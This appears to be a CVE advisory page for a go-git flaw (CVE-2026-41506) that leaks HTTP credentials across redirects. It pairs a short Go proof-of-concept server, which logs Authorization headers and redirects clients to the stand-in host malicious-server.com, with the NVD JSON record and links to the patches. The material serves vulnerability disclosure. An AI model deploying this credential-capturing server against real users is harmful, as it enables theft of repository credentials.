CVE-2026-41506

package main import ( "fmt" "net/http" ) // Conceptual PoC: Malicious server capturing redirected credentials func handler(w http.ResponseWriter, r *http.Request) { auth := r.Header.Get("Authorization") if auth != "" { fmt.Printf("[!] Captured Credentials: %s\n", auth) } w.Header().Set("Location", "http://malicious-server.com/repo.git") w.WriteHeader(http.StatusFound) } func main() { http.HandleFunc("/redirect", handler) fmt.Println("Server listening on port 8080...") http.ListenAndServe(":8080", nil) } /* Note: This Go code represents a server that triggers the vulnerability. When a vulnerable go-git client requests this endpoint, it receives a redirect. The client then sends the Authorization header to the new location, allowing the attacker to capture it. */

{"cve": {"id": "CVE-2026-41506", "sourceIdentifier": "[email protected]", "published": "2026-05-08T14:16:33.983", "lastModified": "2026-05-08T16:02:14.343", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "go-git is an extensible git implementation library written in pure Go. Prior to versions 5.18.0 and 6.0.0-alpha.2, go-git may leak HTTP authentication credentials when following redirects during smart-HTTP clone and fetch operations. This issue has been patched in versions 5.18.0 and 6.0.0-alpha.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "references": [{"url": "https://github.com/go-git/go-git/releases/tag/v5.18.0", "source": "[email protected]"}, {"url": "https://github.com/go-git/go-git/releases/tag/v6.0.0-alpha.2", "source": "[email protected]"}, {"url": "https://github.com/go-git/go-git/security/advisories/GHSA-3xc5-wrhm-f963", "source": "[email protected]"}]}}